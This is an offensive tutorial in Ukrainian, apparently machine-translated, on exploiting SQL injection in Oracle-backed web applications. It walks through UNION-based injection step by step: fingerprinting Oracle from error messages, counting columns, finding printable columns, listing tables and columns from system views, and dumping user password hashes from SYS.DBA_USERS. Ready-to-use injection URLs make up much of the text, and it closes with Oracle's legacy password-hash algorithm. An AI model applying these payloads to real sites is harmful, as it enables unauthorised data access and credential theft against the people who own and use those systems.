Проведення SQL ін'єкцій в Oracle



  • [Вступ]
  • [Особливості Oracle]
  • [Підбір стовпців]
  • [Визначення прінтабельних стовпців]
  • [Отримання інформації]
  • [Таблиці та стовпці]
  • [Паролі]
  • [Отримання інформації]



  • [Вступ]


    Останнім часом при дослідженні різних веб проектів на уразливості, став натикатися на sql ін'єкції в Oracle. Хоча в даний час рідко можна зустріти використання цієї СУБД в Веб програмуванні, але все-таки таке трапляється. Всі дослідження закінчувалися простим виявленням баги, що робити далі було незрозуміло. В ході пошуку статті, добре описує практичні аспекти експлуатації даної уразливості в Oracle, такий як статті cash і spyder, що описують ін'єкції в MSSQL і PostgreSQL, знайти не вдалося.
    В результаті пошуку було знайдено, тільки лише серія статей k00p3r, причому повністю копіпастнутих зі сторонніх джерел і є простим перекладом, прочитання яких не давало чіткого уявлення про проведення вилиці в Oracle, тому що статті по суті мають великий обсяг, носять теоретичний характер, і здебільшого містять воду.
    В кінцевому підсумку довелося згадувати інститутські навички роботи з Oracle і перечитувати купу розрізненої інформації в інтернет. У цій статті хотілося б поділитися з вами тим, що мені вдалося накопати по проведенню sql injection в Oracle і постаратися об'єднати це в одне ціле.
    Ну і спробувати заповнити прогалину, і доповнити серію статей cash і spyder.

    [Особливості Oracle]


    Спочатку наведу деякі властивості, які необхідно враховувати при проведенні ін'єкції в Oracle. Відразу хочу обмовитися, що в статті розглядається проведення ін'єкцій в операторі SELECT. Хоча проведення ін'єкцій в операторах INSERT, UPDATE і DELETE, так само можливо.
    Так само важливий факт, що в статті розглядаються питання проведення ін'єкції саме в запитах SQL Oracle, а не в процедурах PL / SQL Oracle. Істотна відмінність ін'єкцій у процедурах PL / SQL полягає в можливості використання роздільника запитів - символу крапки з комою ";". Але про це имхо потрібно писати окрему статтю, з описом усіх випливають наслідків. Тим більше автор вважає що в Веб додатках найбільш часто зустрічаються ін'єкції саме в запитах SQL (принаймні я стикався тільки з такими).
    У Oracle, так само як і в MySQL і в PostgreSQL, ін'єкція проводиться шляхом використання оператора UNION, тобто зі складанням об'єднання двох запитів (далі по тексту для простоти розуміння використовується термін - підзапит). Але крім збігу кількості стовпців в основному запиті і підзапиті необхідно враховувати, що Oracle не провадить автоматичного приведення типів в підзапит. Тому при підборі стовпців необхідно підставляти null, на відміну, наприклад від MySQL.
    Так само дуже важливою властивістю є те, що всі запити SELECT повинні проводитися з якоїсь таблиці, тобто синтаксис запиту завжди повинен містити слово FROM і ім'я таблиці. Для простих арифметичних обчислень або інших операцій, що не вимагають реальну таблицю, в Oracle існує псевдо таблиця SYS.DUAL.
    Важливим властивістю є відсутність оператора LIMIT.
    Для усічення запиту використовуються символи коментарів "-" (два тире) і "/ *" (прямий слеш і зірочка) в SQL Oracle. Перший тип коментарів -однострочний. Другий тип - багаторядковий.
    Немає можливості використання в SQL Oracle декількох запитів із застосуванням роздільника ";", на відміну від процедур на PL / SQL.
    При виявленні помилки можна однозначно ідентифікувати Oracle, по присутності слова ORA в тексті повідомлення про помилку, наприклад:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Не завжди в тексті помилки присутнє слово Oracle, наприклад

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Підбір стовпців]


    Нехай помилка присутня в параметрі id:

    www.site.com/view.php?id=1'
    Визначення кількості стовпців присутніх в основному запиті відбувається так само, як і в MySQL. Так як оператор UNION вимагає однакової кількості шпальт, як в основному запиті, так і в підзапиті нам потрібно кількість цих стовпців визначити. При неправильному зазначенні стовпців в підзапиті виводиться стандартне повідомлення про помилку:

    ORA-XXXXX: query block has incorrect number of result columns
    Для підбору стовпців існує 2 відомих способу і добре описаних в статті spyder. Але наведу їх ще раз, щоб читачеві не бігати за статтями:

    1. Простий перебір.
    Складемо наступний запит

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Якщо помилка з'явилася, збільшуємо кількість стовпців на один
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    і так поки не зникне помилка.

    2. Використання оператора ORDER BY
    Другий спосіб набагато швидше і приємніше, якщо кількість стовпців досить велика. Складемо наступний запит

    www.site.com/view.php?id=-1+order+by+1--
    якщо помилки немає, значить стовпців 1 або більше 1

    www.site.com/view.php?id=-1+order+by+99999--
    При такому запиті повинна з'явитися помилка, що означає стовпців менше 99999. Далі таким же чином звужує кордону обраного інтервалу зліва і справа і в кінцевому підсумку визначаємо реальна кількість стовпців в основному запиті.

    [Визначення прінтабельних стовпців]


    Припустимо, ми визначили точну кількість стовпців в основному запиті, припустимо їх 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Тепер нам необхідно визначити ті стовпці, які виводяться на сторінку. Зазвичай у висновку беруть участь стовпці з типами даних int, char і data. Нам буде достатньо прінтабільних стовпців з типами int і char, їх і будемо шукати.
    Як було зазначено раніше, Oracle не провадить автоматичного приведення типів в підзапит. Тому при спробі підстановки в якій або стовпець значення невідповідного типу ми отримаємо таку помилку невідповідності типів

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Далі ми починаємо складати запити, по черзі замінюючи кожен стовпець на будь-яке число

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Таким чином, ми виявимо прінтабельние стовпці з типом int. У тому випадку якщо ми отримаємо помилку невідповідності типів, ми можемо скористатися функціями перетворення типів to_char (), to_date () і виявити прінтабельние стовпці з типами char і data.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Для довідки приведу синтаксис функції to_char ():
    to_char (value, [format_mask], [nls_language])

    [Отримання інформації]


    Після того як ми дізналися кількість шпальт і які з них прінтабельни, ми можемо сміливо переходити до отримання необхідної інформації з бази. Добре якщо нам відомі певні таблиці в базі і стовпці в них, тоді отримання інформації не складе особливих труднощів. Наприклад, якщо існує таблиця USERS зі стовпцями ID, LOGIN і PASSWORD, то запит на отримання цих даних буде виглядати наступним чином

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Так само як і в MySQL, для зручності відображення і подолання різних проблем з кодуваннями можна скористатися функціями concat (), to_char ().
    Для подолання фільтрації лапок або інших необхідних символів, існує функція chr ().

    [Таблиці та стовпці]


    Якщо для користувача таблиці нам невідомі, то ми можемо отримати різну інформацію з відомих системних таблиць Oracle.
    Дізнатися ім'я користувача, під яким працює інтерфейс, а значить і ви, можна викликавши функції user або sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Отримати список сесій можна ось так: select * from V $ session

    Великий інтерес представляють таблиці SYS.USER_TABLES і SYS.USER_TAB_COLUMNS, які містять всі таблиці і їх стовпці доступні користувачеві. Витягуємо імена таблиць і стовпців:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Так само, на мій погляд, в таблиці SYS.USER_TABLES крім table_name, викликають інтерес такі стовпці: tablespace_name, num_rows, freelist_groups.
    Але, на жаль, складені вище запити виведуть нам лише по одній - першого запису з усієї таблиці. Виникає непереборне бажання скористатися оператором LIMIT, як в MySQL або в PostgreSQL. На превеликий загальне розчарування даний оператор не підтримується в Oracle, і більше того не має гідного еквівалента у вигляді іншого оператора.
    "ВСЕ ПРОПАЛО !!!" - скажете ви.
    "НІ !!!" - відповім я вам.
    Помучивши неабияк google, я все-таки знайшов можливість скласти складний запит хоч якось віддалено реалізує смислове навантаження оператора LIMIT. На жаль, не вдалося відновити його можливості в повному обсязі.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Таким чином, перебираючи різну кількість записів у вибірці, ми можемо подивитися по черзі всі імена таблиць. Ту саму конструкцію ми можемо використовувати при перегляді таблиці SYS.USER_TAB_COLUMNS, при отриманні всіх імен стовпців доступних користувачеві.
    Так само в Oracle існує поняття префікса об'єкта (таблиця є об'єктом), який присутній в назві або імені таблиці:
    ALL_ - всі доступні користувачеві (власником може і не бути),
    USER_ - об'єкти, чиїм власником цей користувач є.
    Отже, ми можемо спростити собі задачу і витягнути імена тільки тих таблиць, до яких ми маємо доступ

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Інтерес так само може представляти інформація з наступних стандартних таблиць: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Паролі]


    Якщо нам пощастило і користувач, під яким ми працюємо з базою, має права sysdba, то ми можемо отримати хеши всіх користувачів бази.
    Основне місце зберігання згортки пароля (хеш) - таблиця словника-довідника SYS.USER $. Над цією таблицею як базової побудована похідна, SYS.DBA_USERS. Якщо в профілі користувача включений параметр PASSWORD_REUSE_TIME, згортки пароля також зберігаються в SYS.USER_HISTORY $. Дістати хеші та імена користувачів можна ось так

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Для повноти інформації представлю ще й алгоритм обчислення згортки пароля, про всяк випадок, може кому і стане в нагоді:
    1. До імені користувача приклеюється праворуч текст пароля.
    2. У вийшла рядку буквах підвищується регістр.
    3. Символи рядка переводяться в багатобайтових формат доповненням зліва нульовим значенням 0x00 (для символів ASCII), і справа рядок дописується нульовими байтами до загальної довжини 80.
    4. Отримана рядок шифрується алгоритмом DES в режимі зчеплення блоків шифротекста (CBC) ключем 0x0123456789ABCDEF.
    5. З останнього блоку результату видаляються розряди парності і отриманий рядок (56 розрядів) використовується для нового шифрування заданої стрічки тим же способом.
    6. Останній блок результату переводиться в знаки шістнадцятковій арифметики і оголошується кінцевим результатом - сверткой.